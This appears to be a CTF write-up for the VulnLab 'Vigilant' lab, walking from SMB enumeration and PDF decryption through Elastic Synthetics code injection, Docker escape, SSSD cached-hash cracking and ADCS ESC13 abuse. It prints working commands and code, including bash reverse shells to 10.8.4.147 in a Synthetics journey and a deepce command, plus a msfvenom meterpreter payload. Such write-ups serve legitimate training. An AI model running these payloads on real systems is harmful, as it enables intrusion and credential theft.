Post

VulnLab Vigilant

VulnLab Vigilant

VulnLab Vigilant

Vigilant

Recon

1
2
3
└─$ rustscan -a 10.10.137.117,10.10.137.118 -r 1-65535 -g
10.10.137.118 -> [22,80]
10.10.137.117 -> [53,88,135,139,389,445,464,593,636,3389,3269,3268,5601,9200,9389,49668,49664,59806,59801,59817,59840,59846,59923]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ nmap -sC -sV -p22,80 10.10.137.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-10 23:03 +06
Nmap scan report for 10.10.137.118
Host is up (0.098s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:c0:d7:90:bb:cc:77:16:c6:e1:a5:03:f1:ca:5c:25 (ECDSA)
|_  256 12:23:db:bb:d8:56:3e:14:19:71:04:34:2c:22:49:65 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
└─$ nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3389,3269,3268,5601,9200,9389,49668,49664,59806,59801,59817,59840,59846,59923 10.10.137.117 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-12 23:43 +06
Nmap scan report for 10.10.137.117
Host is up (0.089s latency).

PORT      STATE    SERVICE          VERSION
53/tcp    open     domain           Simple DNS Plus
88/tcp    filtered kerberos-sec
135/tcp   open     msrpc            Microsoft Windows RPC
139/tcp   filtered netbios-ssn
389/tcp   open     ldap             Microsoft Windows Active Directory LDAP (Domain: vigilant.vl0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-12T17:43:42+00:00; -1m30s from scanner time.
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.vigilant.vl
| Not valid before: 2024-03-24T10:57:36
|_Not valid after:  2025-03-24T10:57:36
445/tcp   open     tcpwrapped
464/tcp   open     tcpwrapped
593/tcp   filtered http-rpc-epmap
636/tcp   open     tcpwrapped
| ssl-cert: Subject: commonName=DC.vigilant.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.vigilant.vl
| Not valid before: 2024-03-24T10:57:36
|_Not valid after:  2025-03-24T10:57:36
|_ssl-date: 2025-06-12T17:43:42+00:00; -1m30s from scanner time.
3268/tcp  filtered globalcatLDAP
3269/tcp  filtered globalcatLDAPssl
3389/tcp  filtered ms-wbt-server
5601/tcp  filtered esmagent
9200/tcp  open     tcpwrapped
9389/tcp  filtered adws
49664/tcp open     tcpwrapped
49668/tcp filtered unknown
59801/tcp open     tcpwrapped
59806/tcp open     tcpwrapped
59817/tcp open     tcpwrapped
59840/tcp filtered unknown
59846/tcp open     tcpwrapped
59923/tcp open     tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -1m30s, deviation: 0s, median: -1m30s
| smb2-time: 
|   date: 2025-06-12T17:43:16
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.36 seconds
                                                                

srv.vigilant.vl

We can access ITShare on dc.vigilant.vl using anonymous authentication

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ nxc smb 10.10.137.117 -u 'Guest' -p '' --shares                                               
SMB         10.10.137.117   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:vigilant.vl) (signing:True) (SMBv1:False)
SMB         10.10.137.117   445    DC               [+] vigilant.vl\Guest: 
SMB         10.10.137.117   445    DC               [*] Enumerated shares
SMB         10.10.137.117   445    DC               Share           Permissions     Remark
SMB         10.10.137.117   445    DC               -----           -----------     ------
SMB         10.10.137.117   445    DC               ADMIN$                          Remote Admin
SMB         10.10.137.117   445    DC               C$                              Default share
SMB         10.10.137.117   445    DC               IPC$            READ            Remote IPC
SMB         10.10.137.117   445    DC               ITShare         READ            
SMB         10.10.137.117   445    DC               NETLOGON                        Logon server share 
SMB         10.10.137.117   445    DC               SYSVOL                          Logon server share 
                                                                                                          

Inside the share we find multiple directories

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ smbclient.py vigilant.vl/Guest:''@10.10.137.117                        
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
Type help for list of commands
# use ITShare
# ls
drw-rw-rw-          0  Sun Mar  3 12:26:18 2024 .
drw-rw-rw-          0  Mon Mar 25 10:49:07 2024 ..
drw-rw-rw-          0  Sun Mar  3 12:25:58 2024 IT_Admins
drw-rw-rw-          0  Sun Mar  3 12:27:12 2024 IT_Support
drw-rw-rw-          0  Sun Mar  3 12:26:15 2024 Security
# 

Let’s download everything using smbclient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Mar  3 12:26:18 2024
  ..                                DHS        0  Mon Mar 25 10:49:07 2024
  IT_Admins                           D        0  Sun Mar  3 12:25:56 2024
  IT_Support                          D        0  Sun Mar  3 12:27:12 2024
  Security                            D        0  Sun Mar  3 12:26:04 2024

                7175679 blocks of size 4096. 2212118 blocks available
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \IT_Support\ADAudit\ADAudit.deps.json of size 60280 as IT_Support/ADAudit/ADAudit.deps.json (64.1 KiloBytes/sec) (average 64.1 KiloBytes/sec)
getting file \IT_Support\ADAudit\ADAudit.dll of size 19968 as IT_Support/ADAudit/ADAudit.dll (30.6 KiloBytes/sec) (average 50.3 KiloBytes/sec)
getting file \IT_Support\ADAudit\ADAudit.exe of size 142848 as IT_Support/ADAudit/ADAudit.exe (150.8 KiloBytes/sec) (average 87.8 KiloBytes/sec)
getting file \IT_Support\ADAudit\ADAudit.pdb of size 17200 as IT_Support/ADAudit/ADAudit.pdb (22.4 KiloBytes/sec) (average 72.6 KiloBytes/sec)
getting file \IT_Support\ADAudit\ADAudit.runtimeconfig.json of size 458 as IT_Support/ADAudit/ADAudit.runtimeconfig.json (0.6 KiloBytes/sec) (average 58.8 KiloBytes/sec)
getting file \IT_Support\ADAudit\ADAuditLib.dll of size 13312 as IT_Support/ADAudit/ADAuditLib.dll (22.0 KiloBytes/sec) (average 54.1 KiloBytes/sec)
getting file \IT_Support\ADAudit\ADAuditLib.pdb of size 15668 as IT_Support/ADAudit/ADAuditLib.pdb (35.7 KiloBytes/sec) (average 52.5 KiloBytes/sec)
getting file \IT_Support\ADAudit\BouncyCastle.Cryptography.dll of size 7068440 as IT_Support/ADAudit/BouncyCastle.Cryptography.dll (1098.8 KiloBytes/sec) (average 634.3 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.barcodes.dll of size 155136 as IT_Support/ADAudit/itext.barcodes.dll (186.3 KiloBytes/sec) (average 604.2 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.bouncy-castle-adapter.dll of size 74240 as IT_Support/ADAudit/itext.bouncy-castle-adapter.dll (155.9 KiloBytes/sec) (average 587.6 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.bouncy-castle-connector.dll of size 22016 as IT_Support/ADAudit/itext.bouncy-castle-connector.dll (45.8 KiloBytes/sec) (average 568.2 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.commons.dll of size 271872 as IT_Support/ADAudit/itext.commons.dll (378.7 KiloBytes/sec) (average 558.5 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.forms.dll of size 195584 as IT_Support/ADAudit/itext.forms.dll (339.9 KiloBytes/sec) (average 549.9 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.io.dll of size 1541632 as IT_Support/ADAudit/itext.io.dll (741.3 KiloBytes/sec) (average 573.7 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.kernel.dll of size 980480 as IT_Support/ADAudit/itext.kernel.dll (650.9 KiloBytes/sec) (average 580.1 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.layout.dll of size 402432 as IT_Support/ADAudit/itext.layout.dll (463.4 KiloBytes/sec) (average 574.8 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.pdfa.dll of size 125440 as IT_Support/ADAudit/itext.pdfa.dll (192.3 KiloBytes/sec) (average 562.2 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.pdfua.dll of size 22016 as IT_Support/ADAudit/itext.pdfua.dll (59.9 KiloBytes/sec) (average 553.0 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.sign.dll of size 151040 as IT_Support/ADAudit/itext.sign.dll (232.6 KiloBytes/sec) (average 543.0 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.styledxmlparser.dll of size 392192 as IT_Support/ADAudit/itext.styledxmlparser.dll (451.7 KiloBytes/sec) (average 539.3 KiloBytes/sec)
getting file \IT_Support\ADAudit\itext.svg.dll of size 128000 as IT_Support/ADAudit/itext.svg.dll (170.8 KiloBytes/sec) (average 527.0 KiloBytes/sec)
getting file \IT_Support\ADAudit\MaterialDesignColors.dll of size 303104 as IT_Support/ADAudit/MaterialDesignColors.dll (379.5 KiloBytes/sec) (average 521.9 KiloBytes/sec)
getting file \IT_Support\ADAudit\MaterialDesignThemes.Wpf.dll of size 9591296 as IT_Support/ADAudit/MaterialDesignThemes.Wpf.dll (634.1 KiloBytes/sec) (average 566.2 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.DotNet.PlatformAbstractions.dll of size 21488 as IT_Support/ADAudit/Microsoft.DotNet.PlatformAbstractions.dll (45.3 KiloBytes/sec) (average 559.8 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.DependencyInjection.Abstractions.dll of size 44416 as IT_Support/ADAudit/Microsoft.Extensions.DependencyInjection.Abstractions.dll (118.8 KiloBytes/sec) (average 555.6 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.DependencyInjection.dll of size 74120 as IT_Support/ADAudit/Microsoft.Extensions.DependencyInjection.dll (154.0 KiloBytes/sec) (average 550.7 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.DependencyModel.dll of size 58352 as IT_Support/ADAudit/Microsoft.Extensions.DependencyModel.dll (122.3 KiloBytes/sec) (average 545.6 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.Logging.Abstractions.dll of size 52616 as IT_Support/ADAudit/Microsoft.Extensions.Logging.Abstractions.dll (108.6 KiloBytes/sec) (average 540.4 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.Logging.dll of size 42376 as IT_Support/ADAudit/Microsoft.Extensions.Logging.dll (114.0 KiloBytes/sec) (average 536.6 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.Options.dll of size 54664 as IT_Support/ADAudit/Microsoft.Extensions.Options.dll (145.9 KiloBytes/sec) (average 533.0 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Extensions.Primitives.dll of size 39296 as IT_Support/ADAudit/Microsoft.Extensions.Primitives.dll (80.3 KiloBytes/sec) (average 527.7 KiloBytes/sec)
getting file \IT_Support\ADAudit\Microsoft.Xaml.Behaviors.dll of size 145272 as IT_Support/ADAudit/Microsoft.Xaml.Behaviors.dll (366.6 KiloBytes/sec) (average 526.2 KiloBytes/sec)
getting file \IT_Support\ADAudit\Newtonsoft.Json.dll of size 695336 as IT_Support/ADAudit/Newtonsoft.Json.dll (702.9 KiloBytes/sec) (average 530.3 KiloBytes/sec)
getting file \IT_Support\ADAuditReports\Password_Strength_Report_encrypted.pdf of size 6951 as IT_Support/ADAuditReports/Password_Strength_Report_encrypted.pdf (14.7 KiloBytes/sec) (average 524.7 KiloBytes/sec)

We have interesting file Password_Strength_Report_encrypted.pdf in IT_Support\ADAuditReports. We also have ADAudit tool, which we can analyze.

1
2
3
└─$ file IT_Support/ADAudit/ADAudit.{dll,exe}
IT_Support/ADAudit/ADAudit.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
IT_Support/ADAudit/ADAudit.exe: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections

In ADAudit.dll we find some credentials for svc_auditreporter

We also have some encryption function in ADAuditLib

To make it faster, use ChatGPT/Grok to write a simple decrypt tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
using System;
using System.IO;

namespace Decrypt
{
        public class EncryptionHelper
    {
        private static byte[] GenerateKey(int length)
        {
            byte[] array = new byte[length];
            new Random(12345).NextBytes(array);
            return array;
        }

        private static void ShuffleBytes(ref byte[] data)
        {
            for (int i = 0; i < data.Length - 1; i += 2)
            {
                byte b = data[i];
                data[i] = data[i + 1];
                data[i + 1] = b;
            }
        }

        public static void DecryptFile(string filePath)
        {
            if (!File.Exists(filePath))
            {
                throw new FileNotFoundException("Encrypted file not found.", filePath);
            }

            byte[] array = File.ReadAllBytes(filePath);
            ShuffleBytes(ref array); // Reverse shuffling (self-inverse)

            byte[] key = GenerateKey(array.Length);
            for (int i = 0; i < array.Length; i++)
            {
                // Reverse nibble swap (self-inverse)
                array[i] = (byte)((int)array[i] >> 4 | (array[i] << 4 & 0xFF));
                // Reverse XOR
                array[i] ^= key[i % key.Length];
            }

            string outputPath = Path.Combine(
                Path.GetDirectoryName(filePath),
                Path.GetFileNameWithoutExtension(filePath) + "_decrypted" + Path.GetExtension(filePath));
            File.WriteAllBytes(outputPath, array);
            Console.WriteLine($"Decrypted file saved to: {outputPath}");
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length != 1)
            {
                Console.WriteLine("Usage: program.exe <encrypted_file_path>");
                return;
            }

            string filePath = args[0];
            try
            {
                EncryptionHelper.DecryptFile(filePath);
            }
            catch (FileNotFoundException ex)
            {
                Console.WriteLine($"Error: {ex.Message}");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"An error occurred: {ex.Message}");
            }
        }
    }
}

As a result we have decrypted the pdf

We can verify creds

1
2
3
4
5
6
7
8
└─$ nxc smb 10.10.137.117 -u users.txt -p passwords.txt --continue-on-success --no-bruteforce  
SMB         10.10.137.117   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:vigilant.vl) (signing:True) (SMBv1:False)
SMB         10.10.137.117   445    DC               [+] vigilant.vl\svc_auditreporter:<REDACTED> 
SMB         10.10.137.117   445    DC               [-] vigilant.vl\Pamela.Clark:<REDACTED> STATUS_PASSWORD_EXPIRED 
SMB         10.10.137.117   445    DC               [+] vigilant.vl\Alex.Powell:<REDACTED> (Guest)
SMB         10.10.137.117   445    DC               [+] vigilant.vl\Edwin.Dixon:<REDACTED> (Guest)
SMB         10.10.137.117   445    DC               [+] vigilant.vl\Daniel.Washington:<REDACTED> (Guest)

We see that Pamela.Clark has expired password, so we can change it

1
2
3
4
5
6
7
8
9
└─$ changepasswd.py vigilant.vl/Pamela.Clark:'<REDACTED>'@10.10.241.101 -newpass 'P@ssw0rd!!!' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of vigilant.vl\Pamela.Clark
[*] Connecting to DCE/RPC as vigilant.vl\Pamela.Clark
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

Meanwhile collect bloodhound data

1
2
└─$ bloodhound-ce-python -d 'vigilant.vl' -u 'svc_auditreporter' -p '<REDACTED>' -c all -ns 10.10.241.101  --zip --dns-tcp --dns-timeout 60 -v   
<SNIP>

We can also notice that there’s ADCS

1
2
3
4
5
6
└─$ nxc ldap 10.10.218.21 -u 'svc_auditreporter' -p '<REDACTED>' -M adcs             
LDAP        10.10.218.21    389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:vigilant.vl)
LDAP        10.10.218.21    389    DC               [+] vigilant.vl\svc_auditreporter:<REDACTED> 
ADCS        10.10.218.21    389    DC               [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.218.21    389    DC               Found PKI Enrollment Server: DC.vigilant.vl
ADCS        10.10.218.21    389    DC               Found CN: vigilant-CA

Bloodhound shows that Pamela.Clark is a member of TechSupports group

After we changed user’s password, we can successfully login to srv.vigilant.vl

While enumerating the host, we see that there’s elastic-agent installed and it’s being managed by Fleet Server on dc.vigilant.vl

During port enumeration we saw port 5601, which is default port for kibana. By using Pamela.Clark’s credentials from PDF, we can login

Pamela.Clark has superuser role

We can check enrolled elastic agents managed by Fleet Server

Googling shows no results for exploitation through kibana. But based on wiki’s hint, we can do it via Synthetics integration, which is used for monitoring:

  • https://dayzerosec.com/vulns/2023/04/10/elastic-synthetics-recorder-code-injection-when-recording-website-with-malicious-content.html
  • https://hackerone.com/reports/1636382

We already have srv.vigilant.vl being monitored, so we click Edit monitor

We edit monitor script by setting following code

1
2
3
step('Go to http://localhost', async () => {
  await page.goto('file:///etc/passwd');
});

Then set frequency to 1 minute and click Update Monitor

After 1 minute, we see the screenshot of /etc/passwd

We can’t use import in GUI, but according to elastic documentation, we can import and use other NPM packages inside journey code... When you create a monitor from a journey that uses external NPM packages, those packages will be bundled along with the journey code when the push command is invoked. To do that we can follow this documentation (the HackerOne report)

First we need API key, which can be generated in Synthetics settings

1
└─$ export SYNTHETICS_API_KEY=<API_KEY>

Then we initialize a new project

1
└─$ npx @elastic/synthetics --ignore-https-errors init vulnlab-vigilant

After initializing the project, we can modify template example.journey.ts file

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ ls -lha                 
total 120K
drwxrwxr-x   6 kali kali 4.0K Jun 17 00:09 .
drwxrwxr-x   3 kali kali 4.0K Jun 17 00:03 ..
drwxrwxr-x   3 kali kali 4.0K Jun 17 00:09 .github
-rw-rw-r--   1 kali kali   27 Jun 17 00:09 .gitignore
drwxrwxr-x   2 kali kali 4.0K Jun 17 00:09 journeys
drwxrwxr-x   2 kali kali 4.0K Jun 17 00:09 lightweight
drwxrwxr-x 128 kali kali 4.0K Jun 17 00:09 node_modules
-rw-rw-r--   1 kali kali  336 Jun 17 00:09 package.json
-rw-rw-r--   1 kali kali  78K Jun 17 00:09 package-lock.json
-rw-rw-r--   1 kali kali 1.3K Jun 17 00:09 README.md
-rw-rw-r--   1 kali kali  756 Jun 17 00:09 synthetics.config.ts
1
2
3
4
5
6
7
└─$ ls -lha journeys        
total 20K
drwxrwxr-x 2 kali kali 4.0K Jun 17 00:09 .
drwxrwxr-x 6 kali kali 4.0K Jun 17 00:09 ..
-rw-rw-r-- 1 kali kali 1.9K Jun 17 00:09 advanced-example-helpers.ts
-rw-rw-r-- 1 kali kali 1.3K Jun 17 00:09 advanced-example.journey.ts
-rw-rw-r-- 1 kali kali  495 Jun 17 00:09 example.journey.ts

Modify the example.journey.ts. We can use ChatGPT or Grok to generate the code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import { journey, step, monitor } from '@elastic/synthetics';
import { exec } from 'child_process';

journey('My Example Journey', ({ page, params }) => {
  monitor.use({
    id: 'example-monitor',
    schedule: 10,
  });

  step('Shell', async () => {
    return new Promise((resolve, reject) => {
      exec('bash -c "/bin/bash -i >& /dev/tcp/10.8.4.147/6666 0>&1"', (error, stdout, stderr) => {
        if (error) {
          console.error(`Error executing command: ${error}`);
          return reject(error);
        }
        if (stderr) {
          console.error(`Command stderr: ${stderr}`);
          return reject(new Error(stderr));
        }
        console.log(`Command output: ${stdout}`);
        resolve();
      });
    });
  });
});

Then we push the journey code to create the monitor

1
npx @elastic/synthetics push

After a while we receive our shell

It’s a docker container and we see that we are part of root group

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
total 64K
drwxr-xr-x   1 root root 4.0K Jun 16 17:42 .
drwxr-xr-x   1 root root 4.0K Jun 16 17:42 ..
-rwxr-xr-x   1 root root    0 Jun 16 17:42 .dockerenv
lrwxrwxrwx   1 root root    7 Jan 23  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Apr 15  2020 boot
drwxr-xr-x   5 root root  340 Jun 16 17:42 dev
drwxr-xr-x   1 root root 4.0K Jun 16 17:42 etc
drwxr-xr-x   2 root root 4.0K Apr 15  2020 home
lrwxrwxrwx   1 root root    7 Jan 23  2024 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Jan 23  2024 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Jan 23  2024 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Jan 23  2024 libx32 -> usr/libx32
drwxr-xr-x   1 root root 4.0K Feb 19  2024 licenses
drwxr-xr-x   2 root root 4.0K Jan 23  2024 media
drwxr-xr-x   2 root root 4.0K Jan 23  2024 mnt
drwxr-xr-x   2 root root 4.0K Jan 23  2024 opt
dr-xr-xr-x 202 root root    0 Jun 16 17:42 proc
drwx------   2 root root 4.0K Jan 23  2024 root
drwxr-xr-x   1 root root 4.0K Jun 16 17:42 run
lrwxrwxrwx   1 root root    8 Jan 23  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Jan 23  2024 srv
dr-xr-xr-x  13 root root    0 Jun 16 17:35 sys
drwxrwxrwt   1 root root 4.0K Jun 16 18:25 tmp
drwxr-xr-x   1 root root 4.0K Feb 19  2024 usr
drwxr-xr-x   1 root root 4.0K Jan 23  2024 var
1
2
3
elastic-agent@srv:/tmp/elastic-synthetics-unzip-1226893629$ groups
groups
elastic-agent root

We can breakout using deepce

1
./deepce.sh --exploit SOCK --command "/bin/bash -c 'bash -i >& /dev/tcp/10.8.4.147/443 0>&1'"

dc.vigilant.vl

As root we can enumerate the box and find the cached credentials are enabled and the box is domain joined (we confirmed it when we ssh as Pamela.Clark)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@5db502ee4366:/# cat /etc/sssd/sssd.conf 
[sssd]
domains = vigilant.vl
config_file_version = 2
services = nss, pam

[domain/vigilant.vl]
default_shell = /bin/bash
krb5_store_password_if_offline = True
cache_credentials = True
krb5_realm = VIGILANT.VL
realmd_tags = manages-system joined-with-adcli
id_provider = ad
fallback_homedir = /home/%d/%u
ad_domain = vigilant.vl
use_fully_qualified_names = True
ldap_id_mapping = True
access_provider = simple
simple_allow_users = administrator
simple_allow_groups = Domain Users
override_homedir = /home/%d/%u
enumerate = true
ldap_search_timeout = 50
ldap_enumeration_search_timeout = 60
ldap_network_timeout = 60

We can find db files in /var/lib/sss/db/

1
2
3
4
5
6
7
8
9
10
root@srv:~# ls -lha /var/lib/sss/db/
total 6.0M
drwx------  2 root root 4.0K Jun 16 18:41 .
drwxr-xr-x 10 root root 4.0K Feb 27  2024 ..
-rw-------  1 root root 2.0M Jun 16 18:46 cache_vigilant.vl.ldb
-rw-------  1 root root 2.6K Jun 16 18:41 ccache_VIGILANT.VL
-rw-------  1 root root 1.3M Jun 16 17:36 config.ldb
-rw-------  1 root root 1.3M Mar  1  2024 sssd.ldb
-rw-------  1 root root 1.6M Jun 16 18:46 timestamps_vigilant.vl.ldb

We can extract hashes from /var/lib/sss/db/cache_vigilant.vl

1
strings /var/lib/sss/db/cache_vigilant.vl.ldb | grep -B 18 -A 2 cachedPassword > /tmp/hashes.txt

Extract the hashes and crack them

1
2
3
4
└─$ hashcat hashes.txt /usr/share/wordlists/rockyou.txt      
hashcat (v6.2.6) starting in autodetect mode

$6$CI3DH6Ihe8SOgnFz$rzgx1<SNIP>sK4RIWpWz/5Iw.RcQhp0:<REDACTED>

We got creds for Gabriel.Stewart.

1
2
3
└─$ nxc smb 10.10.218.21 -u Gabriel.Stewart -p '<REDACTED>'
SMB         10.10.218.21    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:vigilant.vl) (signing:True) (SMBv1:False)
SMB         10.10.218.21    445    DC               [-] vigilant.vl\Gabriel.Stewart:<REDACTED> STATUS_PASSWORD_EXPIRED

Change the password since it’s expired

1
2
3
4
5
6
7
8
9
└─$ changepasswd.py vigilant.vl/Gabriel.Stewart:'<REDACTED>'@10.10.218.21 -newpass 'P@ssw0rd!!!' 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of vigilant.vl\Gabriel.Stewart
[*] Connecting to DCE/RPC as vigilant.vl\Gabriel.Stewart
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

She’s a member of JuniorAdmins with Remote Management Users group membership

Nothing interesting. Let’s check ADCS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
└─$ certipy find -u 'Gabriel.Stewart@vigilant.vl' -p 'P@ssw0rd!!!' -ns 10.10.218.21 -dc-ip 10.10.218.21 -stdout -dns-tcp -vulnerable 
Certipy v5.0.2 - by Oliver Lyak (ly4k)
<SNIP>
Certificate Templates
  0
    Template Name                       : VigilantAdmins
    Display Name                        : Vigilant Admins
    Certificate Authorities             : vigilant-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Smart Card Logon
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    RA Application Policies             : msPKI-Asymmetric-Algorithm`PZPWSTR`RSA`msPKI-Hash-Algorithm`PZPWSTR`SHA1`msPKI-Key-Usage`DWORD`16777215`msPKI-Symmetric-Algorithm`PZPWSTR`3DES`msPKI-Symmetric-Key-Length`DWORD`168`
    Authorized Signatures Required      : 0
    Schema Version                      : 3
    Validity Period                     : 200 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 4096
    Template Created                    : 2024-03-24T12:10:55+00:00
    Template Last Modified              : 2024-03-24T12:11:25+00:00
    Issuance Policies                   : 1.3.6.1.4.1.45844.1337.1
    Linked Groups                       : CN=Temporary Admins,OU=VIGILANT,DC=vigilant,DC=vl
    Permissions
      Enrollment Permissions
        Enrollment Rights               : VIGILANT.VL\Gabriel Stewart
                                          VIGILANT.VL\Domain Admins
                                          VIGILANT.VL\Enterprise Admins
      Object Control Permissions
        Owner                           : VIGILANT.VL\Administrator
        Full Control Principals         : VIGILANT.VL\Domain Admins
                                          VIGILANT.VL\Enterprise Admins
        Write Owner Principals          : VIGILANT.VL\Domain Admins
                                          VIGILANT.VL\Enterprise Admins
        Write Dacl Principals           : VIGILANT.VL\Domain Admins
                                          VIGILANT.VL\Enterprise Admins
        Write Property Enroll           : VIGILANT.VL\Domain Admins
                                          VIGILANT.VL\Enterprise Admins
    [+] User Enrollable Principals      : VIGILANT.VL\Gabriel Stewart
    [!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=Temporary Admins,OU=VIGILANT,DC=vigilant,DC=vl'.

We have ESC13. We see that Linked Groups is set to Temporary Admins, which are Administrators in the domain

Let’s exploit it

1
2
3
4
5
6
7
8
9
10
└─$ certipy req -u 'Gabriel.Stewart@vigilant.vl' -p 'P@ssw0rd!!!' -ca 'vigilant-CA' -dc-ip 10.10.218.21 -template 'VigilantAdmins' -key-size 4096
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'Gabriel.Stewart@vigilant.vl'
[*] Certificate object SID is 'S-1-5-21-2615182196-3196294898-3079774137-1334'
[*] Saving certificate and private key to 'gabriel.stewart.pfx'
[*] Wrote certificate and private key to 'gabriel.stewart.pfx'

Now pass-the-certificate

Currently the root can’t be solved, since the certificate has been expired

1
2
3
4
5
6
7
8
9
10
11
12
└─$ certipy auth -pfx gabriel.stewart.pfx -dc-ip  10.10.218.21
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Gabriel.Stewart@vigilant.vl'
[*]     Security Extension SID: 'S-1-5-21-2615182196-3196294898-3079774137-1334'
[*] Using principal: 'gabriel.stewart@vigilant.vl'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

There’s unintended way to escalate privileges on DC using Gabriel.Stewart

WinRM as Gabriel.Stewart

1
└─$ evil-winrm -i 10.10.218.21 -u Gabriel.Stewart -p 'P@ssw0rd!!!'

Then setup msfconsole and upload payload

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f exe -o rev.exe -a x64

Deploy listener

1
2
3
